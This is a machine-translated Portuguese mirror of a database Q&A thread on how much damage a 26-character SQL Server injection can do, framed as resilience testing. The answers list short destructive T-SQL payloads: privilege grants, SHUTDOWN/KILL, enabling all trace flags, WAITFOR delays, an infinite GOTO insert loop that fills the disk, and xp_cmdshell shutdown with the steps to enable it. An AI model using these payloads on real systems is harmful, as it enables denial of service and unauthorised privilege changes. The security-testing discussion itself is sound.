AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • Início
  • system&network
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • Início
  • system&network
    • Recentes
    • Highest score
    • tags
  • Ubuntu
    • Recentes
    • Highest score
    • tags
  • Unix
    • Recentes
    • tags
  • DBA
    • Recentes
    • tags
  • Computer
    • Recentes
    • tags
  • Coding
    • Recentes
    • tags
Início / dba / Perguntas / 196600
Accepted
Alan B
Alan B
Asked: 2018-01-31 06:30:22 +0800 CST2018-01-31 06:30:22 +0800 CST 2018-01-31 06:30:22 +0800 CST

Injeção do SQL Server - quanto dano em 26 caracteres?

  • 772

Estou testando a resiliência contra ataques de injeção em um banco de dados SQL Server.

Todos os nomes de tabela no banco de dados são minúsculos e o agrupamento diferencia maiúsculas de minúsculas, Latin1_General_CS_AS .

A string que posso enviar é forçada para maiúscula e pode ter no máximo 26 caracteres. Portanto, não posso enviar um DROP TABLE porque o nome da tabela estaria em letras maiúsculas e, portanto, a instrução falharia devido ao agrupamento.

Então - qual é o dano máximo que eu poderia fazer em 26 caracteres?

EDITAR

Eu sei tudo sobre consultas parametrizadas e assim por diante - vamos imaginar que a pessoa que desenvolveu o front-end que cria a consulta para enviar não usou parâmetros neste caso.

Também não estou tentando fazer nada nefasto, este é um sistema construído por outra pessoa da mesma organização.

sql-server t-sql
  • 6 6 respostas
  • 8628 Views

6 respostas

  • Voted
  1. Best Answer
    LowlyDBA - John M
    2018-01-31T07:09:19+08:002018-01-31T07:09:19+08:00

    Fácil:

    GRANT EXECUTE TO LowlyDBA
    

    Ou, eu acho que neste caso seria

    grant execute to lowlydba 
    

    Faça a sua escolha de variações sobre isso.

    Com toda a probabilidade, você pode testar isso agora em relação ao seu sistema atual, mas qualquer número de pequenas alterações no banco de dados ao longo do tempo pode invalidar seu teste. A cadeia de caracteres pode mudar, alguém pode criar um procedimento armazenado em minúsculas que tenha potencial destrutivo - qualquer coisa. Você nunca pode dizer com 100% de confiança que não há um ataque destrutivo de 26 caracteres que alguém possa construir.

    Sugiro que você encontre uma maneira de fazer com que o desenvolvedor siga as práticas recomendadas básicas de segurança padrão do setor, mesmo que apenas para seu próprio bem, como alguém que presumo ser pelo menos parcialmente responsável caso ocorram violações de segurança.

    Editar:

    E por malícia/diversão, você pode tentar habilitar todos os sinalizadores de rastreamento. Isso seria interessante de observar. Parece que um post de blog que Brent Ozar faria...

    DBCC TRACEON(xxxx, -1)
    
    • 39
  2. Martin Smith
    2018-01-31T07:39:20+08:002018-01-31T07:39:20+08:00

    O SHUTDOWNcomando ou KILLCommand (escolha um número aleatório acima de 50) levam significativamente menos de 26 caracteres, embora a conta que executa as consultas do aplicativo não tenha permissões suficientes para executá-las.

    • 22
  3. Mikael Eriksson
    2018-01-31T07:05:28+08:002018-01-31T07:05:28+08:00

    Você pode criar uma tabela que você preenche até o fim do tempo ou o espaço em disco se esgote, o que ocorrer primeiro.

    declare @S char(26);
    
    set @S = 'create table t(c char(99))';
    exec (@S);
    
    set @S = 'insert t values('''')'
    exec (@S);
    
    set @S = 'insert t select c from t'
    exec (@S);
    exec (@S);
    exec (@S);
    exec (@S);
    -- etc
    
    • 14
  4. user143642
    2018-01-31T17:50:19+08:002018-01-31T17:50:19+08:00

    Dependendo da sua definição de dano, você pode executar isto: WAITFOR DELAY '23:59' Para ser realmente mau, você pode usar uma ferramenta de teste de carga para executar isso em 32.768 clientes.

    • 4
  5. WernerCD
    2018-02-01T11:11:22+08:002018-02-01T11:11:22+08:00

    Variação baseada na resposta de @MikaelEriksson e na resposta de @MartinSmith ao meu comentário inicial:

    declare @S char(26);
    
    set @S = 'create table x(i int)';
    exec (@S);
    

    Inicialmente eu tentei fazer uma declaração WHILE, mas o melhor que consegui fazer foram 27 caracteres:

    set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
    exec (@S);
    

    Mas Martin apontou GOTO:

    set @S = 'x:insert t select 0 GOTO x';
    exec (@S);
    

    GOTO... a raiz de todo mal e criador de uma declaração de inserção de loop infinito em 26 caracteres.

    Com isso dito... pode ser vantajoso ficar com CHAR(99) em vez de int, pois isso usaria mais espaço. Outras opções usam nomes mais longos e esmagariam o limite de 26 caracteres... ou usariam menos espaço de armazenamento por linha.

    Código de teste completo:

    declare @S char(26);
    set @S = 'drop table t;';
    exec (@S);
    GO
    
    declare @S char(26);
    
    set @S = 'create table t(c CHAR(99))';
    exec (@S);
    
    set @S = 'x:insert t select 0 GOTO x';
    exec (@S);
    GO
    
    • 3
  6. Greenstone Walker
    2018-02-02T03:26:51+08:002018-02-02T03:26:51+08:00
    XP_CMDSHELL 'SHUTDOWN -PF'
    

    Dependendo de quão prejudicial você considera ser um desligamento. :-)

    Isso requer que xp_cmdshell esteja habilitado no servidor, algo que não é o caso das últimas versões do SQL Server. Também requer que a conta de serviço tenha o direito de desligamento, que pode ou não ter.

    A ativação do xp_cmdshell provavelmente ultrapassa o limite de 26 caracteres. Você permitiria múltiplas injeções?

    SP_CONFIGURE 'SHOW ADV',1
    
    RECONFIGURE
    
    SP_CONFIGURE 'XP', 1
    
    RECONFIGURE
    
    • 0

relate perguntas

  • SQL Server - Como as páginas de dados são armazenadas ao usar um índice clusterizado

  • Preciso de índices separados para cada tipo de consulta ou um índice de várias colunas funcionará?

  • Quando devo usar uma restrição exclusiva em vez de um índice exclusivo?

  • Quais são as principais causas de deadlocks e podem ser evitadas?

  • Como determinar se um Índice é necessário ou necessário

Sidebar

Stats

  • Perguntas 205573
  • respostas 270741
  • best respostas 135370
  • utilizador 68524
  • Highest score
  • respostas
  • Marko Smith

    conectar ao servidor PostgreSQL: FATAL: nenhuma entrada pg_hba.conf para o host

    • 12 respostas
  • Marko Smith

    Como fazer a saída do sqlplus aparecer em uma linha?

    • 3 respostas
  • Marko Smith

    Selecione qual tem data máxima ou data mais recente

    • 3 respostas
  • Marko Smith

    Como faço para listar todos os esquemas no PostgreSQL?

    • 4 respostas
  • Marko Smith

    Listar todas as colunas de uma tabela especificada

    • 5 respostas
  • Marko Smith

    Como usar o sqlplus para se conectar a um banco de dados Oracle localizado em outro host sem modificar meu próprio tnsnames.ora

    • 4 respostas
  • Marko Smith

    Como você mysqldump tabela (s) específica (s)?

    • 4 respostas
  • Marko Smith

    Listar os privilégios do banco de dados usando o psql

    • 10 respostas
  • Marko Smith

    Como inserir valores em uma tabela de uma consulta de seleção no PostgreSQL?

    • 4 respostas
  • Marko Smith

    Como faço para listar todos os bancos de dados e tabelas usando o psql?

    • 7 respostas
  • Martin Hope
    Jin conectar ao servidor PostgreSQL: FATAL: nenhuma entrada pg_hba.conf para o host 2014-12-02 02:54:58 +0800 CST
  • Martin Hope
    Stéphane Como faço para listar todos os esquemas no PostgreSQL? 2013-04-16 11:19:16 +0800 CST
  • Martin Hope
    Mike Walsh Por que o log de transações continua crescendo ou fica sem espaço? 2012-12-05 18:11:22 +0800 CST
  • Martin Hope
    Stephane Rolland Listar todas as colunas de uma tabela especificada 2012-08-14 04:44:44 +0800 CST
  • Martin Hope
    haxney O MySQL pode realizar consultas razoavelmente em bilhões de linhas? 2012-07-03 11:36:13 +0800 CST
  • Martin Hope
    qazwsx Como posso monitorar o andamento de uma importação de um arquivo .sql grande? 2012-05-03 08:54:41 +0800 CST
  • Martin Hope
    markdorison Como você mysqldump tabela (s) específica (s)? 2011-12-17 12:39:37 +0800 CST
  • Martin Hope
    Jonas Como posso cronometrar consultas SQL usando psql? 2011-06-04 02:22:54 +0800 CST
  • Martin Hope
    Jonas Como inserir valores em uma tabela de uma consulta de seleção no PostgreSQL? 2011-05-28 00:33:05 +0800 CST
  • Martin Hope
    Jonas Como faço para listar todos os bancos de dados e tabelas usando o psql? 2011-02-18 00:45:49 +0800 CST

Hot tag

sql-server mysql postgresql sql-server-2014 sql-server-2016 oracle sql-server-2008 database-design query-performance sql-server-2017

Explore

  • Início
  • Perguntas
    • Recentes
    • Highest score
  • tag
  • help

Footer

AskOverflow.Dev

About Us

  • About Us
  • Contact Us

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve